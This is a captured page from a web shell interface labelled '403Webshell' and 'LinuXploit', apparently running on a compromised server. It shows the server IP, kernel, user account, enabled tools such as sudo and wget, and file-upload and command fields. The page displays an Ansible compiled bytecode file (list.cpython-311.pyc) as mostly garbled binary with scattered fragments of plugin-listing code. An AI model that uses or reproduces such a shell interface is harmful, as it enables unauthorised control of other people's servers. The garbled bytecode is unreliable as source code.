403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /lib/python3.11/site-packages/ansible/plugins/__pycache__/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /lib/python3.11/site-packages/ansible/plugins/__pycache__/list.cpython-311.pyc
�

���c�!����ddlmZmZmZeZddlZddlmZddlm	Z
ddlmZddl
mZddlmZmZddlmZdd	lmZdd
lmZmZe��Zddd
�Zd�Zdd�Zd�Zdd�Zdd�Zdd�Z dd�Z!dd�Z"dS)�)�absolute_import�division�print_functionN)�context)�	constants)�list_collections)�AnsibleError)�	to_native�to_bytes)�loader)�Display)�_get_collection_path�AnsibleCollectionRef)�
async_wrapper)�base)�module�cachec��|}d|vr|}nP|dkr|�d��rd}d�|�|�d���dd���}|g}|rB|�|�tjj��|dzd���|�t|����d�|��S)N�.�ansible.legacyzansible.builtin.�ansible.builtin����)	�
startswith�join�split�extend�os�path�sep�appendr
)�
collection�namer�depth�resolved_collection�
resource_name�	composites       �9/usr/lib/python3.11/site-packages/ansible/plugins/list.py�get_composite_namer)s���$��
�$����
�
��)�)�)�d�o�o�>P�.Q�.Q�)�"3��������/B�,E�,E�,E�!F�!F�q�r�r�!J�K�K�
�%�%�I��?�������B�G�K�0�0������=�>�>�>�
���Y�}�-�-�.�.�.��8�8�I����c���i}|D�]�}t�d�|||����t|��}tj�|���d��r�ttj�|���rtj�	|���r�|�
��}t	j|��D�]�}|�d��r�t�d�|����tj�|��\}	}
t|	��}tj�||��}tj�	|��r�|tjvr?tj�tj�|d����s��|�t%|t|��g||dz�������<t'|tjvt|
��tjv|
dv|t,�|d��vtj�|��g��r���|d	vr�	t3||||��}
nE#t4$r8}t�d
|�dt|������Yd}~��d}~wwxYw|
D]H}t9||jtj�t|����|��}|||<�I��[t9||tj�t|����|��}|||<�����|t�d�|�������t�d
�|�������|S)Nz&Searching '{0}'s '{1}' for {2} plugins)�.s__zFound possible plugin: '{0}'s__init__.pyr)r$)s.ymls.yamls.json�)�test�filterzSkipping file z: z6Skip listing plugins in '{0}' as it is not a directoryz2Skip listing plugins in '{0}' as it does not exist)�display�debug�formatrrr�basenamer�exists�isdir�lower�listdir�splitextr
r�C�SYNTHETIC_COLLECTIONS�update�_list_plugins_from_paths�any�IGNORE_FILES�REJECT_EXTS�IGNORE�get�islink�_list_j2_plugins_from_file�KeyError�warningr)�ansible_name�dirname)�ptype�dirsr"r$�pluginsr�b_path�bkey�plugin_file�b_plugin�b_ext�plugin�	full_path�file_plugins�e�plugin_names                r(r<r<.s����G��9]�9]���
�
�>�E�E�j�RV�X]�^�^�_�_�_��$����
�7���F�#�#�.�.�}�=�=�	��
�7�>�>�&�!�!�1	]��w�}�}�V�$�$�.
e��{�{�}�}��#%�:�f�#5�#5�*=�*=�K�"�-�-�m�<�<�!� ��M�M�"@�"G�"G��"T�"T�U�U�U�&(�g�&6�&6�{�&C�&C�O�H�e�&�x�0�0�F� "����V�[� A� A�I��w�}�}�Y�/�/�=�%��)@�@�@�#%�7�>�>�"�'�,�,�y�.�2Y�2Y�#Z�#Z�)� (� ���'?��	�R[�H\�H\�G]�_i�qv�yz�qz�'{�'{�'{�|�|�|�|�� &�!�.� 8� )�%� 0� 0�A�M� A� %�)F� F� &�&�*�*�T�2�*>�*>� >� "����y� 9� 9� ���%�%� �$6�6�6�)�/I�*�V_�af�hn�/o�/o����#+�)�)�)� '����)�)�)�U^�_`�Ua�Ua�Ua�0b� c� c� c� (���������)����+7�A�A��.@��V�M`�bd�bi�bq�bq�r{�}F�sG�sG�cH�cH�JO�/P�/P��7@��� 4� 4�A�+=�Z��QS�QX�Q`�Q`�aj�kt�au�au�Qv�Qv�x}�*~�*~�K�3<�G�K�0�0�U*=�X�
�
�V�]�]�^b�c�c�d�d�d�d��M�M�N�U�U�VZ�[�[�\�\�\�\��Ns�J*�*
K,�4-K'�'K,c��ttd�|����}|�|||��}|S)N�
{0}_loader)�getattrrr2�get_contained_plugins)r"�plugin_pathrHrT�ploaderrRs      r(rCrCps<���f�l�1�1�%�8�8�9�9�G��0�0��[�+�V�V�L��r*c��i}	ttd�|����}n0#t$r#t	d�|�����wxYw|���D�]}|dkrd�|���D��}n�|dkrdd�|���D��}tj�	dd��r%|�
tjd��nbttj
�	||����}ttj�||d|����g}|�t'|||������|d	vr%|���D]}||df||<�n�t)|�����D]�}d}		|�	|d
���}	nZ#t*$rM}
t,�d�||||t|
������Yd}
~
nd}
~
wwxYw|||	f||<��|S)
NrVz8Cannot list plugins, incorrect plugin type supplied: {0}rc�*�g|]}|j�	|j��Sr-��internalr��.0�ds  r(�
<listcomp>z+list_collection_plugins.<locals>.<listcomp>�s!��T�T�T�q���T�A�F�T�T�Tr*rc�*�g|]}|j�	|j��Sr-r]r_s  r(rbz+list_collection_plugins.<locals>.<listcomp>�s!��X�X�X�q�Q�Z�X�A�F�X�X�Xr*�module_pathsplugins)rT)�
class_onlyz8The '{0}' {1} plugin could not be loaded from '{2}': {3})rWrr2�AttributeErrorr	�keys�_get_paths_with_contextr�CLIARGSrArrr9�COLLECTION_PTYPE_COMPATr
rrrr;r<�list�	Exceptionr0�vvv)rH�collections�search_pathsrJrZr"rI�b_ptyperP�pobjrSs           r(�list_collection_pluginsrrws����G�e��&�,�"5�"5�e�"<�"<�=�=�����e�e�e��U�\�\�]b�c�c�d�d�d�e����"�&�&�(�(�J�J�
��*�*�*�T�T�G�$C�$C�$E�$E�T�T�T�D�D�
�+�
+�
+�X�X�G�$C�$C�$E�$E�X�X�X�D���"�"�=�$�7�7�
<����G�O�M�:�;�;�;���q�8�<�<�U�E�J�J�K�K�G��b�g�l�l�;�z�+B�J�PW�X�X�Y�Y�Z�D�	���/��t�Z�H�H�I�I�I�I�
�����l�l�n�n�	6�	6�F�&�v���5�G�F�O�O�	6��7�<�<�>�>�*�*�	6�	6�F��D�
M��{�{�6�d�{�;�;�����
M�
M�
M����V�]�]�^d�fk�mt�u{�m|�H�IJ�K�K�L�L�M�M�M�M�M�M�M�M�����
M���� '�v���5�G�F�O�O��Ns"�(-�-A�G2�2
I	�<AI�I	c	��i}i}|�/d|d<d|d<|�t|d�����nv|dkrd||<d|d<ne	tt|����||<nD#t$r7}td�|t|����|����d}~wwxYw|r#|�t||����|S)Nr*rrT)ro�dedupez'Cannot use supplied collection {0}: {1})�orig_exc)	r;rrr�
ValueErrorr	r2r
rr)rHr"rorJrnrSs      r(�list_pluginsrw�s���G��K���),��%�&�(+��$�%����+��d�S�S�S�T�T�T�T�	�'�	'�	'�"%��J��),��%�&�&�	w�&.�/C�J�/O�/O�&P�&P�K�
�#�#���	w�	w�	w��H�O�O�PZ�\e�fg�\h�\h�i�i�tu�v�v�v�v�����	w�����D����.�u�k�B�B�C�C�C��Ns�A(�(
B)�22B$�$B)c�6�d�t||��D��S)Nc��g|]	}|j��
Sr-)rF)r`rPs  r(rbz%list_plugin_names.<locals>.<listcomp>�s��N�N�N�F�F��N�N�Nr*)rw)rHr"s  r(�list_plugin_namesrz�s ��N�N�l�5�*�.M�.M�N�N�N�Nr*c�d��t||����fd�����D��S)Nc�,��g|]}�|d��S�rr-�r`�krJs  �r(rbz%list_plugin_files.<locals>.<listcomp>��!���2�2�2�a�G�A�J�q�M�2�2�2r*�rwrg�rHr"rJs  @r(�list_plugin_filesr���4����5�*�-�-�G�2�2�2�2�7�<�<�>�>�2�2�2�2r*c�d��t||����fd�����D��S)Nc�,��g|]}�|d��S)rr-r~s  �r(rbz'list_plugin_classes.<locals>.<listcomp>�r�r*r�r�s  @r(�list_plugin_classesr��r�r*r})N)NN)#�
__future__rrr�type�
__metaclass__r�ansiblerrr9�ansible.collections.listr�ansible.errorsr	�ansible.module_utils._textr
r�ansible.pluginsr�ansible.utils.displayr
�2ansible.utils.collection_loader._collection_finderrrr0r@r)r<rCrrrwrzr�r�r-r*r(�<module>r�s���C�B�B�B�B�B�B�B�B�B��
�
�	�	�	�������"�"�"�"�"�"�5�5�5�5�5�5�'�'�'�'�'�'�:�:�:�:�:�:�:�:�"�"�"�"�"�"�)�)�)�)�)�)�i�i�i�i�i�i�i�i�
�'�)�)��
"�
�
�
�����"?�?�?�?�D���2�2�2�2�j����6O�O�O�O�3�3�3�3�
3�3�3�3�3�3r*

Youez - 2016 - github.com/yon3zu
LinuXploit